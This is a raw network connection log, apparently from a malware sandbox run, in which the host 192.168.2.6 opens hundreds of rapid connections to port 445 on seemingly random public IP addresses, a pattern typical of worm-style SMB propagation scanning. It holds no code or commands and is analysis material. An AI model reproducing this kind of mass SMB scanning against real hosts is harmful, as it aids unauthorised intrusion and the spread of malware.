Jul 21, 2022 04:34:57.274230003 CEST	50857	445	192.168.2.6	138.228.195.46
Jul 21, 2022 04:34:57.274887085 CEST	50858	445	192.168.2.6	183.131.235.15
Jul 21, 2022 04:34:57.275527954 CEST	50859	445	192.168.2.6	116.35.149.240
Jul 21, 2022 04:34:57.276209116 CEST	50860	445	192.168.2.6	108.212.224.3
Jul 21, 2022 04:34:57.277076960 CEST	50861	445	192.168.2.6	143.207.82.164
Jul 21, 2022 04:34:57.294826031 CEST	50862	445	192.168.2.6	123.54.177.139
Jul 21, 2022 04:34:57.304061890 CEST	50863	445	192.168.2.6	188.68.160.75
Jul 21, 2022 04:34:57.304083109 CEST	50864	445	192.168.2.6	155.8.182.155
Jul 21, 2022 04:34:57.304214954 CEST	50865	445	192.168.2.6	63.200.219.184
Jul 21, 2022 04:34:57.304239988 CEST	50866	445	192.168.2.6	84.115.205.195
Jul 21, 2022 04:34:57.304342031 CEST	50868	445	192.168.2.6	124.82.125.146
Jul 21, 2022 04:34:57.304344893 CEST	50867	445	192.168.2.6	8.48.130.10
Jul 21, 2022 04:34:57.304457903 CEST	50869	445	192.168.2.6	99.100.103.176
Jul 21, 2022 04:34:57.304500103 CEST	50870	445	192.168.2.6	108.191.122.225
Jul 21, 2022 04:34:57.304585934 CEST	50871	445	192.168.2.6	1.194.224.250
Jul 21, 2022 04:34:57.304604053 CEST	50872	445	192.168.2.6	164.111.210.191
Jul 21, 2022 04:34:57.304845095 CEST	50873	445	192.168.2.6	106.82.104.120
Jul 21, 2022 04:34:57.305049896 CEST	50874	445	192.168.2.6	151.245.46.158
Jul 21, 2022 04:34:57.305141926 CEST	50875	445	192.168.2.6	20.110.247.86
Jul 21, 2022 04:34:57.305243015 CEST	50876	445	192.168.2.6	143.188.211.4
Jul 21, 2022 04:34:57.305351973 CEST	50877	445	192.168.2.6	142.229.120.239
Jul 21, 2022 04:34:57.305453062 CEST	50878	445	192.168.2.6	106.249.217.83
Jul 21, 2022 04:34:57.305532932 CEST	50879	445	192.168.2.6	76.140.79.247
Jul 21, 2022 04:34:57.305630922 CEST	50881	445	192.168.2.6	33.217.174.14
Jul 21, 2022 04:34:57.305639029 CEST	50880	445	192.168.2.6	66.123.136.232
Jul 21, 2022 04:34:57.305742979 CEST	50882	445	192.168.2.6	13.26.168.76
Jul 21, 2022 04:34:57.307003975 CEST	50883	445	192.168.2.6	174.27.65.154
Jul 21, 2022 04:34:57.321614027 CEST	50884	445	192.168.2.6	130.144.56.124
Jul 21, 2022 04:34:57.322427034 CEST	50885	445	192.168.2.6	72.151.1.220
Jul 21, 2022 04:34:57.492166996 CEST	445	50865	63.200.219.184	192.168.2.6
Jul 21, 2022 04:34:57.594702005 CEST	50886	445	192.168.2.6	58.172.124.36
Jul 21, 2022 04:34:58.148572922 CEST	50865	445	192.168.2.6	63.200.219.184
Jul 21, 2022 04:34:58.211879015 CEST	50887	445	192.168.2.6	190.98.231.18
Jul 21, 2022 04:34:58.325421095 CEST	445	50865	63.200.219.184	192.168.2.6
Jul 21, 2022 04:34:58.400032043 CEST	50888	445	192.168.2.6	47.225.140.144
Jul 21, 2022 04:34:58.401308060 CEST	50889	445	192.168.2.6	62.143.114.212
Jul 21, 2022 04:34:58.402005911 CEST	50890	445	192.168.2.6	199.246.176.20
Jul 21, 2022 04:34:58.402681112 CEST	50891	445	192.168.2.6	220.135.244.195
Jul 21, 2022 04:34:58.403487921 CEST	50892	445	192.168.2.6	171.253.56.95
Jul 21, 2022 04:34:58.415323973 CEST	50893	445	192.168.2.6	201.230.28.84
Jul 21, 2022 04:34:58.431691885 CEST	50894	445	192.168.2.6	216.81.84.88
Jul 21, 2022 04:34:58.432423115 CEST	50895	445	192.168.2.6	20.65.59.185
Jul 21, 2022 04:34:58.433128119 CEST	50896	445	192.168.2.6	214.134.39.129
Jul 21, 2022 04:34:58.434562922 CEST	50897	445	192.168.2.6	52.167.180.165
Jul 21, 2022 04:34:58.435478926 CEST	50898	445	192.168.2.6	147.155.191.49
Jul 21, 2022 04:34:58.436794043 CEST	50899	445	192.168.2.6	93.192.207.173
Jul 21, 2022 04:34:58.437519073 CEST	50900	445	192.168.2.6	151.67.73.25
Jul 21, 2022 04:34:58.438221931 CEST	50901	445	192.168.2.6	31.97.153.192
Jul 21, 2022 04:34:58.439156055 CEST	50902	445	192.168.2.6	10.235.6.46
Jul 21, 2022 04:34:58.441387892 CEST	50903	445	192.168.2.6	84.89.66.75
Jul 21, 2022 04:34:58.459820986 CEST	50904	445	192.168.2.6	5.168.189.71
Jul 21, 2022 04:34:58.461025000 CEST	50905	445	192.168.2.6	57.200.74.30
Jul 21, 2022 04:34:58.461224079 CEST	50906	445	192.168.2.6	180.35.46.133
Jul 21, 2022 04:34:58.461452007 CEST	50908	445	192.168.2.6	214.148.18.222
Jul 21, 2022 04:34:58.461476088 CEST	50907	445	192.168.2.6	31.112.193.3
Jul 21, 2022 04:34:58.461651087 CEST	50909	445	192.168.2.6	177.105.112.216
Jul 21, 2022 04:34:58.461673021 CEST	50910	445	192.168.2.6	101.136.67.67
Jul 21, 2022 04:34:58.461848021 CEST	50911	445	192.168.2.6	133.133.219.252
Jul 21, 2022 04:34:58.461947918 CEST	50912	445	192.168.2.6	132.233.175.62
Jul 21, 2022 04:34:58.461997986 CEST	50913	445	192.168.2.6	63.202.22.79
Jul 21, 2022 04:34:58.462181091 CEST	50914	445	192.168.2.6	174.180.16.123
Jul 21, 2022 04:34:58.462374926 CEST	50916	445	192.168.2.6	169.200.18.93
Jul 21, 2022 04:34:58.462384939 CEST	50915	445	192.168.2.6	68.208.71.161
Jul 21, 2022 04:34:58.479558945 CEST	50917	445	192.168.2.6	105.249.100.247
Jul 21, 2022 04:34:58.674453974 CEST	445	50891	220.135.244.195	192.168.2.6
Jul 21, 2022 04:34:58.712028027 CEST	50918	445	192.168.2.6	69.251.216.95
Jul 21, 2022 04:34:59.258068085 CEST	50891	445	192.168.2.6	220.135.244.195
Jul 21, 2022 04:34:59.274719000 CEST	50919	445	192.168.2.6	190.98.231.19
Jul 21, 2022 04:34:59.525043964 CEST	50920	445	192.168.2.6	43.237.177.154
Jul 21, 2022 04:34:59.525774956 CEST	50921	445	192.168.2.6	14.57.21.36
Jul 21, 2022 04:34:59.526570082 CEST	50922	445	192.168.2.6	219.79.151.128
Jul 21, 2022 04:34:59.527332067 CEST	50923	445	192.168.2.6	190.84.154.188
Jul 21, 2022 04:34:59.528299093 CEST	445	50891	220.135.244.195	192.168.2.6
Jul 21, 2022 04:34:59.528376102 CEST	50924	445	192.168.2.6	103.129.15.107
Jul 21, 2022 04:34:59.552791119 CEST	50925	445	192.168.2.6	150.98.250.46
Jul 21, 2022 04:34:59.553122997 CEST	50927	445	192.168.2.6	198.145.80.214
Jul 21, 2022 04:34:59.553175926 CEST	50926	445	192.168.2.6	82.182.58.33
Jul 21, 2022 04:34:59.553183079 CEST	50928	445	192.168.2.6	67.171.116.177
Jul 21, 2022 04:34:59.553314924 CEST	50930	445	192.168.2.6	125.80.169.47
Jul 21, 2022 04:34:59.553366899 CEST	50929	445	192.168.2.6	132.31.106.23
Jul 21, 2022 04:34:59.553456068 CEST	50931	445	192.168.2.6	121.47.155.9
Jul 21, 2022 04:34:59.553474903 CEST	50932	445	192.168.2.6	2.89.50.87
Jul 21, 2022 04:34:59.553545952 CEST	50933	445	192.168.2.6	25.83.126.100
Jul 21, 2022 04:34:59.553755999 CEST	50935	445	192.168.2.6	88.193.157.112
Jul 21, 2022 04:34:59.553812027 CEST	50934	445	192.168.2.6	163.159.5.254
Jul 21, 2022 04:34:59.571525097 CEST	50936	445	192.168.2.6	192.13.55.167
Jul 21, 2022 04:34:59.587119102 CEST	50937	445	192.168.2.6	165.200.56.56
Jul 21, 2022 04:34:59.587580919 CEST	50938	445	192.168.2.6	115.183.28.72
Jul 21, 2022 04:34:59.588103056 CEST	50939	445	192.168.2.6	10.9.147.129
Jul 21, 2022 04:34:59.588619947 CEST	50940	445	192.168.2.6	133.187.216.114
Jul 21, 2022 04:34:59.589114904 CEST	50941	445	192.168.2.6	177.149.155.47
Jul 21, 2022 04:34:59.589649916 CEST	50942	445	192.168.2.6	106.115.45.34
Jul 21, 2022 04:34:59.591139078 CEST	50943	445	192.168.2.6	139.150.103.0
Jul 21, 2022 04:34:59.592363119 CEST	50945	445	192.168.2.6	160.10.202.155
Jul 21, 2022 04:34:59.592412949 CEST	50944	445	192.168.2.6	166.124.8.126
Jul 21, 2022 04:34:59.592495918 CEST	50947	445	192.168.2.6	150.85.166.48
Jul 21, 2022 04:34:59.592499018 CEST	50946	445	192.168.2.6	64.154.22.34
Jul 21, 2022 04:34:59.592539072 CEST	50948	445	192.168.2.6	216.224.10.157
Jul 21, 2022 04:34:59.602583885 CEST	50949	445	192.168.2.6	137.84.0.181
Jul 21, 2022 04:34:59.696980953 CEST	445	50321	123.209.78.108	192.168.2.6
Jul 21, 2022 04:34:59.837908030 CEST	50950	445	192.168.2.6	83.14.36.122
Jul 21, 2022 04:35:00.336882114 CEST	50951	445	192.168.2.6	190.98.231.20
Jul 21, 2022 04:35:00.650882006 CEST	50953	445	192.168.2.6	153.243.216.217
Jul 21, 2022 04:35:00.650948048 CEST	50954	445	192.168.2.6	130.179.32.226
Jul 21, 2022 04:35:00.651235104 CEST	50955	445	192.168.2.6	205.165.75.95
Jul 21, 2022 04:35:00.651268005 CEST	50956	445	192.168.2.6	121.154.193.113
Jul 21, 2022 04:35:00.651334047 CEST	50957	445	192.168.2.6	115.244.48.121
Jul 21, 2022 04:35:00.668411016 CEST	50958	445	192.168.2.6	130.177.15.196
Jul 21, 2022 04:35:00.668730021 CEST	50960	445	192.168.2.6	190.24.11.76
Jul 21, 2022 04:35:00.668744087 CEST	50961	445	192.168.2.6	103.74.244.42
Jul 21, 2022 04:35:00.668827057 CEST	50962	445	192.168.2.6	219.198.25.208
Jul 21, 2022 04:35:00.668915987 CEST	50959	445	192.168.2.6	23.239.2.84
Jul 21, 2022 04:35:00.668919086 CEST	50964	445	192.168.2.6	7.105.95.241
Jul 21, 2022 04:35:00.670906067 CEST	50965	445	192.168.2.6	62.54.65.57
Jul 21, 2022 04:35:00.670907021 CEST	50967	445	192.168.2.6	97.203.0.57
Jul 21, 2022 04:35:00.670913935 CEST	50966	445	192.168.2.6	222.223.177.154
Jul 21, 2022 04:35:00.670918941 CEST	50968	445	192.168.2.6	123.147.115.217
Jul 21, 2022 04:35:00.670943975 CEST	50963	445	192.168.2.6	75.133.119.131
Jul 21, 2022 04:35:00.696336031 CEST	50969	445	192.168.2.6	112.220.115.27
Jul 21, 2022 04:35:00.712744951 CEST	50970	445	192.168.2.6	221.193.50.11
Jul 21, 2022 04:35:00.713548899 CEST	50971	445	192.168.2.6	23.203.38.117
Jul 21, 2022 04:35:00.714291096 CEST	50972	445	192.168.2.6	150.240.89.157
Jul 21, 2022 04:35:00.715029001 CEST	50973	445	192.168.2.6	216.141.57.133
Jul 21, 2022 04:35:00.715728045 CEST	50974	445	192.168.2.6	90.203.145.84
Jul 21, 2022 04:35:00.720568895 CEST	50975	445	192.168.2.6	89.53.11.86
Jul 21, 2022 04:35:00.728302956 CEST	50976	445	192.168.2.6	97.166.18.142
Jul 21, 2022 04:35:00.728467941 CEST	50977	445	192.168.2.6	129.169.246.94
Jul 21, 2022 04:35:00.728562117 CEST	50978	445	192.168.2.6	134.194.237.6
Jul 21, 2022 04:35:00.728745937 CEST	50979	445	192.168.2.6	172.132.231.48
Jul 21, 2022 04:35:00.728818893 CEST	50980	445	192.168.2.6	144.232.253.202
Jul 21, 2022 04:35:00.728893042 CEST	50981	445	192.168.2.6	11.125.163.1
Jul 21, 2022 04:35:00.729654074 CEST	50982	445	192.168.2.6	215.59.221.17
Jul 21, 2022 04:35:00.839776993 CEST	445	50959	23.239.2.84	192.168.2.6
Jul 21, 2022 04:35:00.962308884 CEST	50983	445	192.168.2.6	103.151.155.53
Jul 21, 2022 04:35:01.415100098 CEST	50984	445	192.168.2.6	190.98.231.21
Jul 21, 2022 04:35:01.461359978 CEST	50959	445	192.168.2.6	23.239.2.84
Jul 21, 2022 04:35:01.632452965 CEST	445	50959	23.239.2.84	192.168.2.6
Jul 21, 2022 04:35:01.760152102 CEST	50986	445	192.168.2.6	78.126.144.28
Jul 21, 2022 04:35:01.760194063 CEST	50987	445	192.168.2.6	189.225.148.56
Jul 21, 2022 04:35:01.760485888 CEST	50988	445	192.168.2.6	175.190.85.160
Jul 21, 2022 04:35:01.760519028 CEST	50989	445	192.168.2.6	196.211.84.170
Jul 21, 2022 04:35:01.760565042 CEST	50990	445	192.168.2.6	68.181.80.111
Jul 21, 2022 04:35:01.790225029 CEST	50991	445	192.168.2.6	46.203.63.247
Jul 21, 2022 04:35:01.790754080 CEST	50992	445	192.168.2.6	105.46.32.140
Jul 21, 2022 04:35:01.791302919 CEST	50993	445	192.168.2.6	166.209.9.12
Jul 21, 2022 04:35:01.792520046 CEST	50994	445	192.168.2.6	180.182.170.145
Jul 21, 2022 04:35:01.792521954 CEST	50995	445	192.168.2.6	208.181.3.218
Jul 21, 2022 04:35:01.793045044 CEST	50996	445	192.168.2.6	94.80.78.29
Jul 21, 2022 04:35:01.793534040 CEST	50997	445	192.168.2.6	18.154.3.235
Jul 21, 2022 04:35:01.794049025 CEST	50998	445	192.168.2.6	194.247.57.114
Jul 21, 2022 04:35:01.794559002 CEST	50999	445	192.168.2.6	33.86.12.99
Jul 21, 2022 04:35:01.795100927 CEST	51000	445	192.168.2.6	57.211.236.103
Jul 21, 2022 04:35:01.795620918 CEST	51001	445	192.168.2.6	190.53.101.83
Jul 21, 2022 04:35:01.806189060 CEST	51002	445	192.168.2.6	215.229.129.109
Jul 21, 2022 04:35:01.821615934 CEST	51003	445	192.168.2.6	184.211.145.72
Jul 21, 2022 04:35:01.822151899 CEST	51004	445	192.168.2.6	42.31.169.98
Jul 21, 2022 04:35:01.822655916 CEST	51005	445	192.168.2.6	43.12.164.200
Jul 21, 2022 04:35:01.823156118 CEST	51006	445	192.168.2.6	83.27.46.141
Jul 21, 2022 04:35:01.823647022 CEST	51007	445	192.168.2.6	48.213.192.227
Jul 21, 2022 04:35:01.824139118 CEST	51008	445	192.168.2.6	66.151.143.7
Jul 21, 2022 04:35:01.855412006 CEST	51009	445	192.168.2.6	106.138.17.170
Jul 21, 2022 04:35:01.855499029 CEST	51010	445	192.168.2.6	47.51.19.185
Jul 21, 2022 04:35:01.855746031 CEST	51011	445	192.168.2.6	204.59.16.96
Jul 21, 2022 04:35:01.855798006 CEST	51012	445	192.168.2.6	59.183.253.134
Jul 21, 2022 04:35:01.855844021 CEST	51013	445	192.168.2.6	138.175.203.245
Jul 21, 2022 04:35:01.855935097 CEST	51014	445	192.168.2.6	209.15.150.121
Jul 21, 2022 04:35:01.855956078 CEST	51015	445	192.168.2.6	89.24.198.16
Jul 21, 2022 04:35:01.967509985 CEST	445	51001	190.53.101.83	192.168.2.6
Jul 21, 2022 04:35:02.071659088 CEST	51016	445	192.168.2.6	35.148.243.1
Jul 21, 2022 04:35:02.478579044 CEST	51017	445	192.168.2.6	190.98.231.22
Jul 21, 2022 04:35:02.648925066 CEST	51001	445	192.168.2.6	190.53.101.83
Jul 21, 2022 04:35:02.822627068 CEST	445	51001	190.53.101.83	192.168.2.6
Jul 21, 2022 04:35:02.869950056 CEST	51020	445	192.168.2.6	19.192.17.238
Jul 21, 2022 04:35:02.870969057 CEST	51021	445	192.168.2.6	155.209.45.101
Jul 21, 2022 04:35:02.872915030 CEST	51022	445	192.168.2.6	217.137.84.196
Jul 21, 2022 04:35:02.872977972 CEST	51023	445	192.168.2.6	66.244.192.77
Jul 21, 2022 04:35:02.873110056 CEST	51024	445	192.168.2.6	124.173.14.97
Jul 21, 2022 04:35:02.915795088 CEST	51025	445	192.168.2.6	69.90.164.173
Jul 21, 2022 04:35:02.916651964 CEST	51026	445	192.168.2.6	110.1.4.180
Jul 21, 2022 04:35:02.917448044 CEST	51027	445	192.168.2.6	212.228.208.183
Jul 21, 2022 04:35:02.918590069 CEST	51028	445	192.168.2.6	124.22.193.95
Jul 21, 2022 04:35:02.919362068 CEST	51029	445	192.168.2.6	134.135.85.175
Jul 21, 2022 04:35:02.920167923 CEST	51030	445	192.168.2.6	129.191.224.239
Jul 21, 2022 04:35:02.920927048 CEST	51031	445	192.168.2.6	71.146.192.88
Jul 21, 2022 04:35:02.921725035 CEST	51032	445	192.168.2.6	73.50.107.55
Jul 21, 2022 04:35:02.922502995 CEST	51033	445	192.168.2.6	186.43.162.155
Jul 21, 2022 04:35:02.923260927 CEST	51034	445	192.168.2.6	154.93.131.9
Jul 21, 2022 04:35:02.923943043 CEST	51035	445	192.168.2.6	142.15.203.239
Jul 21, 2022 04:35:02.924648046 CEST	51036	445	192.168.2.6	87.47.86.227
Jul 21, 2022 04:35:02.931039095 CEST	51037	445	192.168.2.6	150.108.6.53
Jul 21, 2022 04:35:02.933279037 CEST	51038	445	192.168.2.6	201.140.4.56
Jul 21, 2022 04:35:02.944370985 CEST	51039	445	192.168.2.6	42.162.122.240
Jul 21, 2022 04:35:02.945432901 CEST	51040	445	192.168.2.6	78.234.36.97
Jul 21, 2022 04:35:02.947016001 CEST	51041	445	192.168.2.6	116.50.133.184
Jul 21, 2022 04:35:02.947424889 CEST	51042	445	192.168.2.6	130.91.93.208
Jul 21, 2022 04:35:02.978527069 CEST	51043	445	192.168.2.6	100.109.180.86
Jul 21, 2022 04:35:02.979382038 CEST	51044	445	192.168.2.6	195.124.77.29
Jul 21, 2022 04:35:02.980179071 CEST	51045	445	192.168.2.6	11.157.219.175
Jul 21, 2022 04:35:02.981576920 CEST	51046	445	192.168.2.6	100.61.170.100
Jul 21, 2022 04:35:02.982706070 CEST	51047	445	192.168.2.6	108.190.164.190
Jul 21, 2022 04:35:02.982810020 CEST	51048	445	192.168.2.6	164.120.135.66
Jul 21, 2022 04:35:02.982825041 CEST	51049	445	192.168.2.6	159.176.246.202
Jul 21, 2022 04:35:03.197072029 CEST	51050	445	192.168.2.6	159.122.54.131
Jul 21, 2022 04:35:03.557035923 CEST	51051	445	192.168.2.6	190.98.231.23
Jul 21, 2022 04:35:03.995572090 CEST	51054	445	192.168.2.6	147.82.32.143
Jul 21, 2022 04:35:03.995613098 CEST	51055	445	192.168.2.6	113.19.61.171
Jul 21, 2022 04:35:03.995695114 CEST	51056	445	192.168.2.6	42.200.146.163
Jul 21, 2022 04:35:03.995795012 CEST	51057	445	192.168.2.6	136.253.154.220
Jul 21, 2022 04:35:03.995915890 CEST	51058	445	192.168.2.6	215.163.74.121
Jul 21, 2022 04:35:04.040885925 CEST	51059	445	192.168.2.6	202.20.192.170
Jul 21, 2022 04:35:04.041582108 CEST	51060	445	192.168.2.6	183.121.83.189
Jul 21, 2022 04:35:04.042243004 CEST	51061	445	192.168.2.6	163.35.35.64
Jul 21, 2022 04:35:04.042934895 CEST	51062	445	192.168.2.6	4.217.112.199
Jul 21, 2022 04:35:04.043612957 CEST	51063	445	192.168.2.6	133.153.31.179
Jul 21, 2022 04:35:04.044286966 CEST	51064	445	192.168.2.6	20.176.40.188
Jul 21, 2022 04:35:04.044953108 CEST	51065	445	192.168.2.6	212.174.58.237
Jul 21, 2022 04:35:04.045610905 CEST	51066	445	192.168.2.6	121.83.91.7
Jul 21, 2022 04:35:04.046328068 CEST	51067	445	192.168.2.6	69.150.203.221
Jul 21, 2022 04:35:04.047013044 CEST	51068	445	192.168.2.6	103.200.76.13
Jul 21, 2022 04:35:04.047688961 CEST	51069	445	192.168.2.6	98.233.110.188
Jul 21, 2022 04:35:04.048360109 CEST	51070	445	192.168.2.6	56.237.4.218
Jul 21, 2022 04:35:04.058537006 CEST	51071	445	192.168.2.6	49.47.230.200
Jul 21, 2022 04:35:04.059297085 CEST	51072	445	192.168.2.6	86.109.142.205
Jul 21, 2022 04:35:04.060058117 CEST	51073	445	192.168.2.6	37.245.242.216
Jul 21, 2022 04:35:04.060800076 CEST	51074	445	192.168.2.6	75.40.232.5
Jul 21, 2022 04:35:04.101614952 CEST	51075	445	192.168.2.6	119.130.88.240
Jul 21, 2022 04:35:04.102432013 CEST	51076	445	192.168.2.6	107.137.90.128
Jul 21, 2022 04:35:04.103219032 CEST	51077	445	192.168.2.6	13.166.199.98
Jul 21, 2022 04:35:04.103919983 CEST	51078	445	192.168.2.6	201.43.188.234
Jul 21, 2022 04:35:04.104635954 CEST	51079	445	192.168.2.6	29.74.149.144
Jul 21, 2022 04:35:04.105314970 CEST	51080	445	192.168.2.6	150.193.76.173
Jul 21, 2022 04:35:04.105999947 CEST	51081	445	192.168.2.6	197.139.193.17
Jul 21, 2022 04:35:04.106694937 CEST	51082	445	192.168.2.6	149.105.118.89
Jul 21, 2022 04:35:04.107371092 CEST	51083	445	192.168.2.6	140.49.176.248
Jul 21, 2022 04:35:04.145247936 CEST	445	51072	86.109.142.205	192.168.2.6
Jul 21, 2022 04:35:04.377021074 CEST	51084	445	192.168.2.6	26.159.134.28
Jul 21, 2022 04:35:04.637643099 CEST	51086	445	192.168.2.6	190.98.231.24
Jul 21, 2022 04:35:04.727267027 CEST	51072	445	192.168.2.6	86.109.142.205
Jul 21, 2022 04:35:04.817694902 CEST	445	51072	86.109.142.205	192.168.2.6
Jul 21, 2022 04:35:04.890216112 CEST	445	51086	190.98.231.24	192.168.2.6
Jul 21, 2022 04:35:05.103467941 CEST	51089	445	192.168.2.6	92.71.254.51
Jul 21, 2022 04:35:05.104130983 CEST	51090	445	192.168.2.6	164.202.209.39
Jul 21, 2022 04:35:05.104799032 CEST	51091	445	192.168.2.6	165.102.95.215
Jul 21, 2022 04:35:05.105577946 CEST	51092	445	192.168.2.6	202.43.36.90
Jul 21, 2022 04:35:05.106347084 CEST	51093	445	192.168.2.6	136.25.237.223
Jul 21, 2022 04:35:05.170382023 CEST	51094	445	192.168.2.6	25.127.240.160
Jul 21, 2022 04:35:05.170675039 CEST	51095	445	192.168.2.6	206.223.54.204
Jul 21, 2022 04:35:05.170809031 CEST	51097	445	192.168.2.6	182.137.29.85
Jul 21, 2022 04:35:05.170810938 CEST	51096	445	192.168.2.6	101.10.138.142
Jul 21, 2022 04:35:05.170823097 CEST	51098	445	192.168.2.6	47.49.62.43
Jul 21, 2022 04:35:05.170948982 CEST	51099	445	192.168.2.6	128.180.92.126
Jul 21, 2022 04:35:05.171010971 CEST	51101	445	192.168.2.6	69.174.20.40
Jul 21, 2022 04:35:05.171081066 CEST	51102	445	192.168.2.6	141.8.204.91
Jul 21, 2022 04:35:05.171120882 CEST	51100	445	192.168.2.6	154.211.186.194
Jul 21, 2022 04:35:05.171199083 CEST	51103	445	192.168.2.6	195.67.159.246
Jul 21, 2022 04:35:05.171215057 CEST	51104	445	192.168.2.6	87.195.99.82
Jul 21, 2022 04:35:05.171310902 CEST	51105	445	192.168.2.6	138.234.47.61
Jul 21, 2022 04:35:05.181262970 CEST	51106	445	192.168.2.6	37.201.251.220
Jul 21, 2022 04:35:05.182188034 CEST	51107	445	192.168.2.6	53.6.250.50
Jul 21, 2022 04:35:05.182984114 CEST	51108	445	192.168.2.6	200.2.228.71
Jul 21, 2022 04:35:05.183736086 CEST	51109	445	192.168.2.6	111.47.184.116
Jul 21, 2022 04:35:05.212619066 CEST	51110	445	192.168.2.6	57.18.114.1
Jul 21, 2022 04:35:05.228435993 CEST	51111	445	192.168.2.6	114.211.250.133
Jul 21, 2022 04:35:05.229182005 CEST	51112	445	192.168.2.6	194.54.42.131
Jul 21, 2022 04:35:05.229854107 CEST	51113	445	192.168.2.6	87.178.16.211
Jul 21, 2022 04:35:05.230444908 CEST	51114	445	192.168.2.6	175.33.149.13
Jul 21, 2022 04:35:05.231086016 CEST	51115	445	192.168.2.6	1.83.17.106
Jul 21, 2022 04:35:05.231739044 CEST	51116	445	192.168.2.6	163.231.33.145
Jul 21, 2022 04:35:05.232559919 CEST	51117	445	192.168.2.6	11.247.202.209
Jul 21, 2022 04:35:05.233205080 CEST	51118	445	192.168.2.6	17.80.208.155
Jul 21, 2022 04:35:05.464473963 CEST	51086	445	192.168.2.6	190.98.231.24
Jul 21, 2022 04:35:05.485291004 CEST	51119	445	192.168.2.6	10.181.220.123
Jul 21, 2022 04:35:05.712728024 CEST	51121	445	192.168.2.6	190.98.231.25
Jul 21, 2022 04:35:05.716101885 CEST	445	51086	190.98.231.24	192.168.2.6
Jul 21, 2022 04:35:06.233525038 CEST	51124	445	192.168.2.6	145.118.243.200
Jul 21, 2022 04:35:06.236468077 CEST	51125	445	192.168.2.6	135.249.14.115
Jul 21, 2022 04:35:06.241426945 CEST	51126	445	192.168.2.6	180.79.214.157
Jul 21, 2022 04:35:06.260505915 CEST	51127	445	192.168.2.6	163.107.243.244
Jul 21, 2022 04:35:06.261271954 CEST	51128	445	192.168.2.6	197.90.67.162
Jul 21, 2022 04:35:06.282839060 CEST	51129	445	192.168.2.6	109.25.37.170
Jul 21, 2022 04:35:06.283514977 CEST	51130	445	192.168.2.6	109.66.108.61
Jul 21, 2022 04:35:06.284189939 CEST	51131	445	192.168.2.6	92.251.5.140
Jul 21, 2022 04:35:06.285260916 CEST	51132	445	192.168.2.6	108.42.54.134
Jul 21, 2022 04:35:06.285995960 CEST	51133	445	192.168.2.6	211.152.17.232
Jul 21, 2022 04:35:06.286746025 CEST	51134	445	192.168.2.6	195.15.211.57
Jul 21, 2022 04:35:06.287584066 CEST	51135	445	192.168.2.6	6.233.187.29
Jul 21, 2022 04:35:06.288265944 CEST	51136	445	192.168.2.6	105.254.32.144
Jul 21, 2022 04:35:06.289041042 CEST	51137	445	192.168.2.6	216.2.161.43
Jul 21, 2022 04:35:06.289736986 CEST	51138	445	192.168.2.6	217.41.118.232
Jul 21, 2022 04:35:06.296463966 CEST	51139	445	192.168.2.6	104.64.241.111
Jul 21, 2022 04:35:06.297338963 CEST	51140	445	192.168.2.6	91.214.124.10
Jul 21, 2022 04:35:06.312061071 CEST	51141	445	192.168.2.6	98.109.164.126
Jul 21, 2022 04:35:06.312911987 CEST	51142	445	192.168.2.6	9.244.205.89
Jul 21, 2022 04:35:06.313575983 CEST	51143	445	192.168.2.6	72.62.132.74
Jul 21, 2022 04:35:06.314218998 CEST	51144	445	192.168.2.6	223.11.218.122
Jul 21, 2022 04:35:06.338365078 CEST	51145	445	192.168.2.6	129.201.55.180
Jul 21, 2022 04:35:06.369703054 CEST	51146	445	192.168.2.6	61.111.116.160
Jul 21, 2022 04:35:06.370479107 CEST	51147	445	192.168.2.6	65.80.137.161
Jul 21, 2022 04:35:06.371262074 CEST	51148	445	192.168.2.6	141.217.29.106
Jul 21, 2022 04:35:06.372003078 CEST	51149	445	192.168.2.6	103.237.155.163
Jul 21, 2022 04:35:06.372742891 CEST	51150	445	192.168.2.6	213.193.43.124
Jul 21, 2022 04:35:06.373572111 CEST	51151	445	192.168.2.6	123.94.68.62
Jul 21, 2022 04:35:06.374593973 CEST	51152	445	192.168.2.6	190.142.34.114
Jul 21, 2022 04:35:06.375292063 CEST	51153	445	192.168.2.6	211.40.204.20
Jul 21, 2022 04:35:06.609561920 CEST	51154	445	192.168.2.6	212.229.197.179
Jul 21, 2022 04:35:06.794106960 CEST	51157	445	192.168.2.6	190.98.231.26
Jul 21, 2022 04:35:07.357059002 CEST	51160	445	192.168.2.6	55.213.11.152
Jul 21, 2022 04:35:07.357619047 CEST	51161	445	192.168.2.6	96.195.132.79
Jul 21, 2022 04:35:07.358194113 CEST	51162	445	192.168.2.6	41.220.51.154
Jul 21, 2022 04:35:07.396136045 CEST	51163	445	192.168.2.6	178.189.173.77
Jul 21, 2022 04:35:07.396934986 CEST	51164	445	192.168.2.6	191.125.39.21
Jul 21, 2022 04:35:07.397650957 CEST	51165	445	192.168.2.6	77.127.185.211
Jul 21, 2022 04:35:07.398386955 CEST	51166	445	192.168.2.6	134.8.203.218
Jul 21, 2022 04:35:07.398956060 CEST	51167	445	192.168.2.6	13.252.5.120
Jul 21, 2022 04:35:07.399523020 CEST	51168	445	192.168.2.6	157.46.163.234
Jul 21, 2022 04:35:07.400124073 CEST	51169	445	192.168.2.6	116.93.7.211
Jul 21, 2022 04:35:07.400671959 CEST	51170	445	192.168.2.6	201.176.53.237
Jul 21, 2022 04:35:07.401885033 CEST	51171	445	192.168.2.6	175.231.91.160
Jul 21, 2022 04:35:07.402245998 CEST	51172	445	192.168.2.6	146.29.12.83
Jul 21, 2022 04:35:07.402386904 CEST	51173	445	192.168.2.6	180.153.54.4
Jul 21, 2022 04:35:07.488979101 CEST	51174	445	192.168.2.6	173.68.224.129
Jul 21, 2022 04:35:07.491417885 CEST	51175	445	192.168.2.6	41.7.7.52
Jul 21, 2022 04:35:07.491481066 CEST	51176	445	192.168.2.6	90.107.129.56
Jul 21, 2022 04:35:07.491507053 CEST	51177	445	192.168.2.6	73.66.254.154
Jul 21, 2022 04:35:07.491600990 CEST	51178	445	192.168.2.6	20.154.136.96
Jul 21, 2022 04:35:07.491715908 CEST	51179	445	192.168.2.6	84.119.246.163
Jul 21, 2022 04:35:07.491718054 CEST	51180	445	192.168.2.6	202.4.177.235
Jul 21, 2022 04:35:07.491986990 CEST	51181	445	192.168.2.6	19.203.139.4
Jul 21, 2022 04:35:07.497226954 CEST	51183	445	192.168.2.6	4.183.205.129
Jul 21, 2022 04:35:07.497350931 CEST	51182	445	192.168.2.6	64.218.203.21
Jul 21, 2022 04:35:07.497351885 CEST	51184	445	192.168.2.6	10.155.73.178
Jul 21, 2022 04:35:07.497464895 CEST	51186	445	192.168.2.6	18.101.207.36
Jul 21, 2022 04:35:07.497477055 CEST	51185	445	192.168.2.6	219.195.207.23
